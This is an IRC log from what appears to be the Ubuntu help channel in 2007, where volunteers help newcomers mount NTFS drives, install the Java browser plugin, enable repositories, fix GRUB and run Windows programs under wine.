[04:03] <wilberfan> no, the full chub...
[04:03] <Hucha> voice
[04:03] <wilberfan> (lol)
[04:03] <ferronica> pibarnas: http://www.pastebin.ca/408030
[04:03] <Lapbottom> wow, chubtastic?
[04:03] <ferronica> pibarnas: hey sorry there is arql tooo
[04:03] <wilberfan> yeah..they'll have to put that in the ads:  "Feisty. It's chubtastic!"
[04:03] <ferronica> pibarnas: sorry i dont know about ubuntu or linux
[04:03] <pibarnas> ferronica I've imagined it...
[04:04] <ferronica> pibarnas: mostly worked in windows :(
[04:04] <bullgard4> Gnome Menue Locations > Network > (Network -- File-Browser) of my first computer 'MD97600' in the LAN lists 3 entries: 'Windows Network', 'Amilo7600' and 'MD97600'. The same command put into the 2nd computer lists only 'Windows Network'. Why?
[04:04] <pibarnas> ferronica well, let me see your file.
[04:04] <ferronica> pibarnas: thats why i am facing problem
[04:04] <Flice> I'm having slow download speeds (100-600 kbps) over CIFS in Feisty over a gigabit connection. Upload speeds are ok. It used to work fine in Edgy. Any help would be appreciated.
[04:04] <pibarnas> ferronica I know... we're here for that, don't worry.
[04:04] <Lapbottom> Feisty help room #ubuntu+1
[04:05] <Flice> Lapbottom: thanks
[04:05] <xtknight> JN_Coward , et al. :  gotta go, i'll be back later
[04:05] <RoundyT1> !FTP
[04:05] <ubotu> FTP clients: !Nautilus, !gFTP (for !GNOME) - !Konqueror, !Kasablanca, !KFTPGrabber (for !KDE) - See also !FTPd
[04:05] <JN_Coward> xtknight, thanks for the help!
[04:05] <Lapbottom> np
[04:05] <wilberfan> laters, roomies...  big bow and a tip-of-the-penquin-cap to jrib for his help...!
[04:05] <Flice> !cifs
[04:05] <ubotu> Sorry, I don't know anything about cifs - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:05] <Flice> !CIFS
[04:05] <pibarnas> ferronica your sata is a 80 Gb one?
[04:06] <ferronica> pibarnas: two SATA 80 GB and 200 GB :)
[04:06] <vox754> sdfadsf, sorry about that, I had to eat...
[04:06] <sdfadsf> lol no man
[04:06] <ferronica> pibarnas: two SATA 80 GB ( win Xp installed) and 200 GB (DATA ) :)
[04:06] <vox754> sdfadsf, pretty clever that of sarching me
[04:06] <sdfadsf> i am not paying u
[04:07] <sdfadsf> dont say soryy lol
[04:07] <zero88> Does anybody know of any software that would change any kind of format,lets say a .flv file to and .iso?
[04:07] <sdfadsf> well yea u really helped me
[04:07] <vox754> sdfadsf, #vocx
[04:07] <ferronica> pibarnas: are you comparing my system from yours ;)
[04:07] <skulrid> hi
[04:08] <skulrid> where do programs installed with synaptic go to?
[04:08] <Cryoniq> Anyone know how Beryl work with Feisty Fawn and Gnome 2.18 (if it is in it yet)?
[04:08] <pibarnas> ferronica can you paste the content of /etc/fstab on pastebin.ca?
[04:08] <jrib> Cryoniq: they work fine, try a live cd
[04:08] <Ezdo> Can anyone explain to me what a makefile is, and how to use it? Pm me if you can help <3
[04:08] <quaal_mac> god i hate windows
[04:08] <bullgard4> zero88: dd
[04:08] <ferronica> pibarnas: how to open it???? :(
[04:08] <Cryoniq> Nice to hear. Started to prepare for Feisty arrival in near future :)
[04:08] <zero88> ezdo a makefile is something that help compiles a program
[04:09] <predaeus> zero88, you mean like flv to vcd or something? You will have to combine different programs for things like that most of the time. The nice thing with Linux is you can combine them, the ugly thing is you must :-)
[04:09] <pibarnas> gksu gedit /etc/fstab
[04:09] <rylan> oh snap! cant get my new ipod working!
[04:09] <pibarnas> ferronica gksu gedit /etc/fstab
[04:09] <rylan> ubuntu + ipod = hate
[04:09] <zero88> predaeus i see, but what is vcd, and you know of any documentation i can find?
[04:09] <pibarnas> ferronica or gksu nautilus (and go to /etc/fstab)
[04:09] <quaal_mac> rylan use amarok
[04:09] <Cryoniq> applesauce :)
[04:09] <zero88> bullgard4 what is dd?
[04:10] <Comatose67> ubuntu picks my MP# player Creative Zen Microphoto as a camera, does anyone know how to like at it as a folder with-out writing a folder??
[04:10] <quaal_mac> drunkdriver
[04:10] <pibarnas> ferronica ah... first do an alt+F2
[04:10] <rylan> quaal_mac amarok isnt "seeing" my ipod
[04:10] <pibarnas> ferronica put there the command or on a terminal
[04:10] <Cryoniq> drunken ipoding? =)
[04:10] <ctothej> rylan: what are you using for ipod?
[04:10] <skulrid> apliccations I install (with synaptic for eg) where do they go? cant find them...
[04:10] <ctothej> rylan: and which ipod?
[04:10] <benjo> chicos me ayudados
[04:10] <bullgard4> zero88: A program.
[04:10] <Ezdo> zero88 I have downloaded an archive full of source code for what I hope is a driver program for my USB Wireless adapter, and it has a makefile in the main directory. How do I change the code + makefile into the finished program? (I installed linux 2 days ago :p)
[04:10] <rylan> ctothej, its a nano 2gb
[04:11] <pibarnas> ferronica alt+F2 --> you can enter a command; terminal --> you can enter plenty of them! :)
[04:11] <ctothej> rylan: have you tried amarok yet?
[04:11] <predaeus> zero88, vcd is video cd, I think it is just some mpeg format. You will have to convert flv to the correct mpeg format and then burn it as vcd to a cd with e.g. k3b. google for ffmpeg and mencoder for converters.
[04:11] <benjo> como hago a ir + veloz con azereus
[04:11] <ferronica> pibarnas: http://www.pastebin.ca/408038
[04:11] <rylan> ctothej, yes, and i found a "manual search" for ipod. but i dont know what the "mount point" is
[04:11] <ferronica> pibarnas: is it okay
[04:12] <zero88> ezdo, um well to start off i believe you have to run a command in the same directory of the program you want to build . that command should be  ./configure , then after that you should have to   make ,    then   make install,   but depeneding im not so sure
[04:12] <zero88> predaeus ok kool thanks
[04:12] <eelee> when 7.04 release?
[04:12] <kelnoky_> how can I directly start the gnome thing for editing the keyboard shortcuts? cause I am in fluxbox atm
[04:12] <ctothej> rylan: ok, ubuntu should mount your ipod for you automatically, it usually defaults to /media/ipod or something just like that. so you can browse to /media and check to see which is the directory it uses.
[04:12] <Ahorner> i need help installing java
[04:12] <zero88> Ezdo is there any file in there called INSTALL or README?
[04:13] <phaedrus44> eelee:   i am downloading it right nw
[04:13] <ferronica> pibarnas: What happend???
[04:13] <Ahorner> anybody wanna help me?
[04:13] <Ezdo> zero88 - Probably lol, Im booted into windows atm so I cant check :/
[04:13] <Comatose67> plez tell me someone can help me with my Creative ZEN MicroPhoto!?!?
[04:13] <ferronica> pibarnas: Something wrong :(
[04:13] <pibarnas> ferronica r u trying to reach your windows, arent' u? do you know iif it is ntfs or fat32 filesystem?
[04:14] <ferronica> pibarnas: It is NTFS
[04:14] <ferronica> pibarnas: i tried some command
[04:14] <ferronica> pibarnas: how could you know : o
[04:14] <pibarnas> ferronica which one?
[04:14] <rylan> ctothej, is it supposed to be this rediculusly complicated?
[04:14] <zero88> Ezdo ok, well check for those sorts of files in there and they can tel you exactly how to install your program, if you cant get it to work, what i ususaly do is try to use apt-get to install it, much easier and faster
[04:14] <ferronica> pibarnas: both are NTFS
[04:15] <Ezdo> ok i will :) thanks
[04:15] <eitan> hey guys, i want to change the netapplet tray icon, where is it located?  I looked everywhere!
[04:15] <ctothej> rylan: actually, not at all, as long as you are familiar with working in linux and the linux file system
[04:15] <pibarnas> ferronica hummm, it seems they don't have mount points in fstab... even being sata hds, I think they might have them... we can try to put it there...
[04:16] <ctothej> rylan: if you are new to linux, its really the filesystem learning curve that is getting you, not the ipod
[04:16] <pibarnas> ferronica but fist, let's make some tests okay?
[04:16] <rylan> ctothej, finding the ipod, no problem. now that i am looking in amarok and its asking me about pre connect commands and post connect commands!
[04:16] <Comatose67> I need some help with my Craetive Zen MicroPhoto, Ubuntu reads it as a Camera... does anyone know how to like at it as a folder??? SOMEONE PLEZ HELP!!
[04:17] <blanky> rylan: go to the menu and look for amarok settings or something
[04:17] <ferronica> pibarnas: i dont wanna to destroy my windows :O dont experment :(
[04:17] <blanky> rylan: then it should have a section for media devices and what not, you should be able to figure it out from there, if not, take a trip to #amarok
[04:17] <ferronica> pibarnas: what i do first????
[04:17] <pibarnas> ferronica you won't,don't worry.
[04:17] <ferronica> pibarnas: okay :)
[04:17] <pibarnas> ferronica in a term: sudo mkdir /mnt/test1
[04:18] <pibarnas> ferronica then: sudo mkdir /mnt/test2
[04:18] <ctothej> rylan: yes, in the config menu, you dont need those options, as long as you eject the ipod manually before you unplug it.
[04:18] <rylan> ctothej, thanks
[04:18] <shd0w> hey guys when i try to change my 6.10 server ip address to static by editing the /ect/network/interfaces file when i try to ping a site it doesn't work but i can still connect via ssh from in my network do you guys know what could be the cause of this?
[04:18] <flami> Hi , the only difference between ubuntu and kubuntu is that k... uses KDE ?
[04:19] <pibarnas> ferronica then: sudo mount -t ntfs /dev/sda1 /mnt/test1
[04:19] <mjr> correct
[04:19] <ferronica> pibarnas: ok i pasted both on terminal
[04:19] <quaal_mac> flami, no clue
[04:19] <quaal_mac> flami i was pretty sure you could use kde with ubuntu.. but maybenot
[04:19] <ferronica> pibarnas: ok done
[04:19] <flami> so kubuntu != ubuntu ?
[04:19] <ferronica> pibarnas: ok done
[04:20] <Matthias> kubuntu is kde on ubuntu
[04:20] <pibarnas> ferronica now open nautilus, click control+l and go to /mnt/test1
[04:20] <mdtyke> Hey; can someone help me in setting up ODBC to read from MDB files
[04:20] <Slike> hi, yesterday i reinstalled windows on a dual boot (winxp-ubuntu) laptop. i wanted to restore grub today, using an ubuntu live cd, but that won't work unfortunately.... when i enter the command "find /boot/grub/stage1" it returns "error 15: file not found"
[04:20] <zero88> anyone know if Mplayer can play flash files .flv???
[04:20] <Slike> any ideas how i can fix this?
[04:20] <ferronica> pibarnas: ok done
[04:20] <Slike> the partition is intact, i'm able to mount it...
[04:20] <flami> ok thanks ( i use debian anyway huahuahuahuahuahua ^^ )
[04:20] <ferronica> pibarnas: blank page
[04:20] <pibarnas> ferronica and?
[04:21] <ferronica> pibarnas: no text
[04:21] <Matthias> install grub grub-install
[04:21] <Comatose67> since no one can help i'm out
[04:21] <pibarnas> ferronica blank? well, It is supposed one of your disks would be there (the contents)...
[04:22] <ferronica> pibarnas: ok what to do???
[04:22] <Ahorner> i need help
[04:22] <pibarnas> ferronica in a term: sudo umount /mnt/test1
[04:22] <atoponce> Ahorner: just ask. what's up?
[04:22] <ferronica> pibarnas: should i close that window
[04:22] <Ahorner> umm.
[04:22] <pibarnas> ferronica yep
[04:22] <Ahorner> im installing java
[04:22] <Matthias> is the 64 it version of kubuntu faster thab
[04:22] <pibarnas> ferronica then: sudo mount -t ntfs /dev/sdb1 /mnt/test1
[04:22] <Matthias> than 32bit version
[04:22] <ferronica> pibarnas: ok done
[04:22] <atoponce> Ahorner: ok...
[04:23] <ferronica> pibarnas: ok done
[04:23] <pibarnas> ferronica go to /mnt/test1, once again, in nautilus
[04:23] <shd0w> pibarnas, can you help me with a networking issue please?
[04:23] <pibarnas> shd0w okay.
[04:23] <ferronica> pibarnas: blank page
[04:23] <mdtyke> Can anyone help me with the flash plugin.. its always appearing on top of everything, and it makes some sites unusable
[04:23] <butterfly_> anyone know where the contrib directory is for mythtv in ubuntu?
[04:23] <pibarnas> ferronica in a term: sudo umount /mnt/test1
[04:23] <Slike> Matthias: "grub-install /dev/sda" says "could not find device for /boot: not found or not a block device"
[04:24] <pibarnas> ferronica in a term: sudo rmdir /mnt/test1
[04:24] <rpc> does ubuntu 6.10 come with KDE as standard?
[04:24] <pibarnas> ferronica in a term: sudo rmdir /mnt/test2
[04:24] <Ahorner> downloaded. extracted
[04:24] <Ahorner> now enabling it into ffox
[04:24] <Ahorner> but when i try to create the pugin i get a premission deined
[04:24] <Ahorner> :/usr/lib/mozilla-firefox/plugins$ ln -s /home/andy/Desktop/jre1.5.0_11/plugin/i386/ns7/libjavaplugin_oji.so
[04:24] <Ahorner> ln: creating symbolic link `./libjavaplugin_oji.so' to `/home/andy/Desktop/jre1.5.0_11/plugin/i386/ns7/libjavaplugin_oji.so': Permission denied
[04:24] <atoponce> Ahorner: you need to use sudo
[04:24] <mdtyke> rpc, Kubuntu is the one with KDE
[04:24] <mdtyke> Ubuntu only has Gnome
[04:24] <Ahorner> ok
[04:24] <Ahorner> how
[04:24] <ferronica> pibarnas: ok done
[04:24] <rpc> mdtyke oh hm...
[04:25] <shd0w> pibarnas, on my 6.10 server i try to change my ip to a static ip by editing the /ect/network/interfaces file and when i do pinging sites doesn't work and apt-get has resolving issues
[04:25] <Ahorner> i just got ubuntu yesterday so im new
[04:25] <pibarnas> ferronica I'm sorry, Ferronica, I think I can't help you with this issue... I don't have the expertise to do it without harm your system.
[04:25] <atoponce> Ahorner: sudo ln -s /home/andy/....
[04:25] <rpc> mdtyke i need KDE to run wine.. or will that one run on gnome as well?
[04:25] <Matthias> Slike: i dont know the exact command but try
[04:25] <mdtyke> Im not sure rpc, sorry.. I use KDE, so I just know it works fine on that
[04:25] <Ahorner> ok
[04:25] <Matthias> grub-install
[04:25] <ferronica> pibarnas: what is the problem
[04:25] <mdtyke> I have PhotoShop 7 and Office 2003 running on mine.. I got that Crossover Office package
[04:25] <rpc> mdtyke so you recommend downloading Kubuntu 6.10 then?
[04:26] <pibarnas> shd0w isn't it a modem issue? I think it's happen here too...
[04:26] <rpc> and how does office 2003 work for you on wine? is it as fast as on winbloze?
[04:26] <Ahorner> what did that do atoponce
[04:26] <Ahorner> !sudo
[04:26] <atoponce> Ahorner: whenever you get a permission denied, that means that the permissions belong to another user, and you don't have permission to do what you want
[04:26] <ubotu> sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[04:26] <Matthias> you also have to tell the app which parti
[04:26] <ferronica> pibarnas: http://paste.ubuntu-nl.org/11860/
[04:26] <pibarnas> ferronica it's about your HDs SATA archtecture
[04:26] <Ahorner> hmm
[04:26] <Matthias> tion contains the grub data
[04:26] <atoponce> Ahorner: chances are, it's owned by root, so you'll need to use 'sudo' in front of your command
[04:26] <Ahorner> how do i make it so i am root usr
[04:26] <ferronica> pibarnas: Terminal output
[04:26] <Ahorner> oooooh ok i see
[04:26] <ollekalle> Is there some way to later versions of packages by adding some special path in sources.list? I am interested in lirc 0.8.1.
[04:27] <pibarnas> ferronica let me see it...
[04:27] <shd0w> pibarnas, i dont think so because im on the internet with this computer when i switch the server back to dhcp it works fine
[04:27] <ferronica> pibarnas: okay
[04:27] <rpc> mdtyke do you need crossover for office 2003 or will that one run on wine?
[04:27] <atoponce> Ahorner: root is disabled by default in ubuntu
[04:27] <Ahorner> what about gksudo
[04:27] <atoponce> !sudo
[04:27] <ubotu> sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[04:27] <Ahorner> ok
[04:27] <rpc> mdtyke i don't get this emu hell at all :)
[04:27] <pibarnas> ferronica mount: according to mtab, /dev/sda1 is mounted on /tmp/disks-conf-sda1
[04:27] <Ahorner> im still getting the same error
[04:27] <pibarnas> ferronic that line says everything.
[04:27] <Ahorner> wait
[04:28] <Ahorner> wait
[04:28] <Matthias> any1 tried tbe feisty  eta?
[04:28] <skulrid> how do I make an installed program, appear in the aplications menu?
[04:28] <mdtyke> Im honestly not sure rpc, I think it will run on Wine, because Crossover is essentially Wine.. but crossover makes it a lot easier alright
[04:28] <Matthias> abyone tried the feisty beta?
[04:28] <rpc> mdtyke oh i read you, thanks alot!
[04:28] <ferronica> pibarnas: Yes but i cant Access it :(
[04:28] <atoponce> Ahorner: what's up?
[04:28] <pibarnas> shd0w I don't think I can help u, pal, I face the face incongruence here... it only works on dhcp, in a weird way I can't explain.
[04:28] <mdtyke> Apparently if you install it on Crossover (free trial), then move it over to your wine folder it should continue to work fine.. can even uninstall Crossover at that point
[04:28] <atoponce> Matthias: nope. i'll wait for the stable release
[04:29] <pibarnas> ferronica can't u access /tmp/disks-conf-sda1?
[04:29] <shd0w> pibarnas, thanks anyways i had it working once before now eerytime i mess with it it screws up
[04:29] <ferronica> pibarnas: No
[04:29] <ramza3> hmm, where is the trash can at ?  Applications?
[04:29] <iapx8088> hi all, I have my new pc and no monitor and keyboard. The ubuntu live install runs as you can see here http://pastebin.ca/408053 and now I would like to login somehow and perform install.
[04:29] <iapx8088> any hints? I was thinking to tweak the iso image to run ssh by default.
[04:29] <blanky> ramza3: bottom right, should be
[04:29] <justanto> click on the pannal and go to add to pannal
[04:30] <pibarnas> ferronica can u do something?
[04:30] <blanky> ramza3: bottom right of desktop
[04:30] <pibarnas> ferronica alt+F2, then gksu nautilus
[04:30] <ramza3> blanky, not there
[04:30] <Ahorner> still working just a min
[04:30] <zero88> How do i competely remove totem from my comp?
[04:30] <rylan> #amarok is full of idiots.
[04:30] <pibarnas> ferronica on nautilus, do control+l
[04:31] <iapx8088> or can you point me to the right channel were I can ask to the developers?
[04:31] <blanky> ramza3: GNOME?
[04:31] <pibarnas> ferronica then put there /tmp/disks-conf-sda1 and pull enter...
[04:31] <ramza3> blanky, yea
[04:31] <atoponce> Ahorner: if you could start your responce with my nick, i can see it better in this busy channel
[04:31] <pibarnas> ferronica what can u say?
[04:31] <blanky> ramza3: it's not on the bottom panel on the right?
[04:31] <atoponce> Ahorner: just type at and hit <tab> a couple times until my nick shows
[04:31] <blanky> ramza3: if not, right click on a panel > add applet > find trash can/icon
[04:31] <justanto> if you right click on the panel and go to add to panel you can add the trash can if its not there already
[04:31] <ramza3> blanky, that is probably why, I got rid of the bottom panel, I only have one
[04:31] <Ace2016> Hi all
[04:31] <blanky> ramza3: yeah read what i said
[04:32] <Ace2016> how doi get info on the current xorg refresh rate
[04:32] <Ace2016> the vertical and horizontal refresh rates
[04:32] <WaqasToor> need help about PO file for gnome that rossetta creates ... where to put them ?
[04:32] <caribo> okwa
[04:32] <sidny4> anybody know why I can't connect to unsecured wireless networks using network-manager?
[04:32] <skulrid> how do I make an installed program, appear in the aplications menu?
[04:32] <caribo> czy jest kto z polski
[04:32] <iapx8088> sidny4 as long as I know, you can
[04:33] <Slike> i chrooted into my existing ubuntu installation, trying to issue an ubuntu-install command, but that doesn't work either
[04:33] <sidny4> I thought so too, but it refuses to pick up an IP from any unsecured network
[04:33] <atomiku> !polish | caribo
[04:33] <ubotu> caribo: Mozesz uzyskac pomoc w jezyku polskim na #ubuntu-pl
[04:33] <Slike> i meant grub-install of course
[04:33] <vox754> Latest stable "ndiswrapper" is 1.39, get it from source and compile it yourself. It may solve your wireless problems.
[04:33] <ramza3> blanky, why cant I move it to the desktop
[04:33] <blanky> ramza3: you can't drag the icon to the desktop? Maybe if you right click on it it'll say show on desktop
[04:33] <pibarnas> ferronica can u see your windows files now?
[04:33] <Tomek_> nnnn
[04:33] <Ahorner> yay i think it workd
[04:34] <atoponce> Ahorner: cool. congrats
[04:34] <ramza3> blanky, nope
[04:34] <ferronica> pibarnas: i think so
[04:34] <Ahorner>  cool andy@andy-desktop:~$ cd /usr/lib/mozilla-firefox/plugins
[04:34] <Ahorner> andy@andy-desktop:/usr/lib/mozilla-firefox/plugins$ sudo ln -s /home/andy/Dekstop/jre1.5.0_11/plugin/i386/ns7
[04:34] <Ahorner> Password:
[04:34] <Ahorner> andy@andy-desktop:/usr/lib/mozilla-firefox/plugins$
[04:34] <blanky> ramza3: I'm not on gnome, but maybe you can use gconf editor which I think is in the applications menu somewhere, called 'gnome settings' or something like configuration editor or something, then somewhere it has an option to show it on the desktop
[04:34] <disposable> i have universe and multiverse among my sources but i cannot see wine available (up to date feisty). what am i missing?
[04:34] <Ahorner> be back l8r
[04:34] <blanky> ramza3: but I'm too vague, it'd be better if you just join #gnome and ask there they can probably help better
[04:34] <sacater> disposable: check the wine website, there is a source there
[04:34] <ferronica> pibarnas: Is that window Xp HDD
[04:34] <erUSUL> !java | Ahorner
[04:34] <ubotu> Ahorner: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository. Enable the backports repository on Edgy to install sun-java6-jre
[04:34] <pibarnas> ferronica well, then your trouble is about permissions...
[04:35] <ferronica> pibarnas: may be
[04:35] <blanky> !feisty | disposable
[04:35] <ubotu> disposable: The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[04:35] <pibarnas> ferronica well, you can't access it as a normal user, only as a root user, okay?
[04:35] <disposable> blanky: tnx
[04:35] <ferronica> pibarnas: are you sure
[04:35] <eitan> hey guys, i want to change the netapplet tray icon, where is it located?  I looked everywhere!
[04:36] <pibarnas> ferronica well, you've tried as normal use, and don't see nothing there on nautilus... with gksu you can, so...
[04:36] <atoponce> eitan: do you know the exact name of the icon?
[04:36] <ferronica> pibarnas: Is there any other way to do
[04:36] <Ahorner> dangit
[04:36] <WaqasToor>  need help about PO file for gnome that rossetta creates ... where to put them ?
[04:36] <ferronica> pibarnas: this process looks very ugly :l
[04:36] <Ahorner> i installed java but its not showing up under edit prefs advanced on firefox
[04:36] <eitan> atoponce, no I can't find it by doing "locate netapplet*png"
[04:37] <atoponce> eitan: have you done a 'updatedb'
[04:37] <atoponce> ?
[04:37] <eitan> what does that do
[04:37] <pibarnas> ferronica of course there is, I would suggest to put some permissions on /etc/fstab...
[04:38] <sacater> eitan: database update
[04:38] <jetscreamer> ferronica: something lmore like   /dev/hdc1       /mnt/hdc1       ntfs    noauto,users,noexec,ro,umask=022,fmask=0333,dmask=0222,uid=1000,gid=1000 0 0
[04:38] <atoponce> eitan: just what it looks like. 'locate' uses a database in the fs to find stuff quickly, so updatedb updates that database
[04:38] <ferronica> pibarnas: Hiw
[04:38] <eitan> ok
[04:38] <blanky> Ahorner: you probably only installed the desktop java, you sure you also installed the firefox one?
[04:38] <Ahorner> i dunno
[04:38] <eitan> atoponce, it's updating right now
[04:38] <eitan> atoponce, okay it finished and didn't come up with anything new
[04:38] <blanky> !java | Ahorner
[04:38] <bofh80> is this the right place for getting ubuntu 7.04 help?
[04:38] <ubotu> Ahorner: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository. Enable the backports repository on Edgy to install sun-java6-jre
[04:38] <Ahorner> i went to java .com and downloaded the .bin one.installed it per instructions
[04:39] <blanky> Ahorner: look for installing the firefox plugin
[04:39] <blanky> bofh80: #ubuntu+1
[04:39] <atoponce> eitan: locate didn't come up with anything new? because updatedb won't tell you anything
[04:39] <bofh80> blanky thanks
[04:39] <blanky> bofh80: np
[04:39] <eitan> atoponce, yes I reran locate
[04:39] <ferronica> pibarnas: how to add permission
[04:39] <atoponce> eitan: then you don't have it on your system, or the name of the file is different than what you think
[04:40] <Benbread> Hey there - i'm just putting a fresh Ubuntu install onto a P3-450mhz machine, which i will be using solely to run LinuxMCE - does anyone have any tips i can use to get the most out of this hardware?
[04:40] <pibarnas> ferronica but I don't know exactly what optins it would be, nor if its SATA archtecture may influence in it... I think you could get some help of another one, or read something about sata hds and ubuntu system...
[04:40] <Askar> A howto for a game tells me to "Killing your window manager at this point can help out with performance,     and prevent wacky things from happening (like switching virtual   desktops)."
[04:40] <Askar> How do I do that?
[04:40] <eitan> atoponce, yeah I know...I'm wondering if anyone knows what the netapplet tray icon is called or located
[04:40] <pibarnas> ferronica I don't want to harm your system, doing experimentations, do you know what I mean?
[04:40] <ferronica> pibarnas: oh
[04:40] <jetscreamer> lol
[04:40] <atoponce> eitan: i don't, sorry.
[04:40] <jetscreamer> i just frickin told you
[04:41] <ferronica> pibarnas: ok ok no problem
[04:41] <Ahorner> somebody tell me how to enable multiverse
[04:41] <blanky> Askar: CTRL+ALT+BACKSPACE, not sure if that's what they mean though
[04:41] <jetscreamer> edit /etc/apt/sources.list
[04:41] <Ahorner> ty
[04:41] <Dave_O`Tool> Can you run Livecd? Or do I need to install fully?
[04:41] <atoponce> Askar: no, not what blanky said
[04:41] <ferronica> pibarnas: any person know how to mount windows SATA hdd in ubuntu
[04:41] <atoponce> Askar: you have 4 boxes in your taskbar, by default.
[04:41] <Ahorner> ehh :-(
[04:41] <sacater> Ahorner: or go into synaptic and look under repositories
[04:41] <atoponce> Askar: those are your virt desktops
[04:41] <jetscreamer> ferronica: i just told you i suggest you scroll up or try /lastlog
[04:41] <Ahorner> sudo edit /etc/apt/sources.list now working
[04:41] <Askar> atoponce: yeah
[04:41] <Ahorner> not*
[04:42] <Ahorner> andy@andy-desktop:~$ sudo edit /etc/apt/sources.list
[04:42] <Ahorner> Warning: unknown mime-type for "/etc/apt/sources.list" -- using "application/*"
[04:42] <Ahorner> Error: no "edit" mailcap rules found for type "application/*"
[04:42] <jetscreamer> Ahorner: vim, nano, mcedit... gedit....
[04:42] <Ahorner> hmm?
[04:42] <atoponce> Askar: if they're not there, 'ctrl-left' and 'ctrl-right' will switch between them
[04:42] <jetscreamer> use a text editor ahorn
[04:42] <sacater> Ahorner: do sudo gedit /etc/apt/sources.list
[04:42] <jetscreamer> what he said
[04:42] <ferronica> jetscreamer: which command to paste in terminal
[04:42] <Ahorner> ahh ok
[04:42] <Ahorner> gedit
[04:42] <blanky> Ahorner: gksudo gedit /etc/apt/sources.list
[04:42] <blanky> !gksudo | sacater
[04:42] <Canonball> good morning
[04:43] <ubotu> sacater: If you need to run graphical applications as root, use  gksudo , as it will set up the environment more appropriately. Avoid ever using  sudo <GUI-application> 
[04:43] <sacater> Ahorner: gedit is graphical, nano is terminal and harder to use
[04:43] <Canonball> i want to use ubuntu
[04:43] <ferronica> jetscreamer: /dev/hdc1       /mnt/hdc1
[04:43] <jetscreamer> ferronica: try adding umask=0 or so
[04:43] <Canonball> but i have problems to install it
[04:43] <Slike> can it be that the usage of reiserfs prevents grub from restoring or installing its installation in the mbr?
[04:43] <blanky> Canonball: Just tell your problems
[04:43] <Canonball> i have a new high end pc
[04:43] <derspankster> I need help with a video card
[04:43] <atoponce> Askar: pardon me. i just realized what i typed
[04:43] <blanky> Canonball: stop pressing enter to often
[04:43] <atoponce> Askar: 'ctrl-alt-right' 'ctrl-alt-left'
[04:43] <atoponce> Askar: my bad. :)
[04:43] <blanky> Canonball: just put your question/problems in one long paragraph and we'll read it
[04:43] <Ahorner> what do i uncomment to add multiverse repos
[04:43] <Canonball> he says your graphic ist not compatibel... or something just when i push install or start ubuntu
[04:43] <ferronica> jetscreamer: where to Add
[04:44] <Dave_O`Tool> Does ubuntu recognize marvell ethernet on a 9xx intel board????
[04:44] <Askar>  atoponce: But it tells me to kill my windowmanager before starting the game to gain better performance
[04:44] <blanky> Dave_O`Tool: is it wireless?
[04:44] <atoponce> Askar: what's the game?
[04:44] <atoponce> Askar: and what are the specs of your pc?
[04:44] <jetscreamer> ferronica: something like http://linux.hfds.com/files/fstab.1
[04:44] <Askar>  atoponce: starcraft
[04:44] <Askar> http://koti.mbnet.fi/~hoppq/sc-howto.html scroll down to playing starcraft
[04:44] <sacater> Askar: a game shouldnt do that
[04:44] <Canonball> I have a 8800 Nvidia gts
[04:44] <sacater> Askar: oh well thats a wine game?
[04:44] <jetscreamer> ferronica: add umask=0 to a manual mount command (or so)
[04:45] <sacater> Askar: used in wine?
[04:45] <Canonball> so i need the drivers
[04:45] <skulrid> I cant locate instaled programs. Help plz
[04:45] <CeApis> has anyone else been having problems getting on rizeNET
[04:45] <Ahorner> wha do i add/uncomment to get multiverse
[04:45] <Askar> atoponce: I have 1, 4 ghz 512 mb ram hp laptop
[04:45] <Askar>  sacater: yes
[04:45] <sacater> Ahorner: erase the '#' you see near the piece of text
[04:45] <atoponce> Askar: i wouldn't kill your window manager. that's just silly.
[04:45] <ferronica> jetscreamer: how to open that text file
[04:45] <blanky> Canonball: are you listening? No one heard your question because you kept pressing enter, do you notice that this conversation is moving quickly? You have to re-state your question, all in one message/paragraph, and give as most information as you can
[04:45] <Ahorner> which one
[04:45] <Canonball> kk
[04:45] <Askar> atoponce: shouldnt it give me more systemresources?
[04:45] <cj_> how
[04:46] <cj_>  hi
[04:46] <jetscreamer> ferronica: which text file, fstab? use a text editor
[04:46] <_emet_> I got my schools wifi to work!
[04:46] <sacater> Ahorner: erm, the one that says something like deb.ubuntublahblah
[04:46] <Ahorner> i alreadh have universe uncommented
[04:46] <_emet_> Ubuntu kicks @$$
[04:46] <Dave_O`Tool> Does ubuntu recognize marvell ethernet on a 9xx intel board????
[04:46] <blanky> Dave_O`Tool: I already asked you, is it a wireless card?
[04:46] <ferronica> jetscreamer: oh my god not getting anything
[04:46] <atoponce> Askar: yeah, but your window manager powers your desktop, so, unless you plan on running it in the terminal...
[04:46] <sacater> Ahorner: oh, then uncomment all the others you think need to uncomment
[04:46] <atoponce> Askar: then again, i'm not familiar with that game, so
[04:46] <Dave_O`Tool> It has both
[04:46] <blanky> !wireless | Dave_O`Tool
[04:46] <ubotu> Dave_O`Tool: Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[04:47] <robdeman> folks my machine randomly locksup / freezes for a short while when pressing 'tab' in the terminal.. is this normal?
[04:47] <Ahorner> is there a difference between universe and multiverse?
[04:47] <jetscreamer> ferronica: what i showed you works flawlessly for me
[04:47] <Canonball> I have a problem to install ubuntu. When i want to install Ubuntu 6.10 - Supported to 2008 ---- Standard personal computer (x86 architecture, PentiumTM, CeleronTM, AthlonTM, SempronTM) than he says the graphic can't play or something else. I have a NVIDIA 8800 GTS so i need the drivers i think
[04:47] <jetscreamer> hth
[04:47] <Ahorner> \!universe
[04:47] <Dave_O`Tool> It is wired ethernet
[04:47] <blanky> Askar: just ignore what it says about destroying your window manager
[04:47] <Ahorner> !universe
[04:47] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[04:47] <sacater> Askar: cancelling your windowmanager wont allow a graphical game to run
[04:47] <WaqasToor> helloooo any body ??? need help with those PO files that rossetta sends
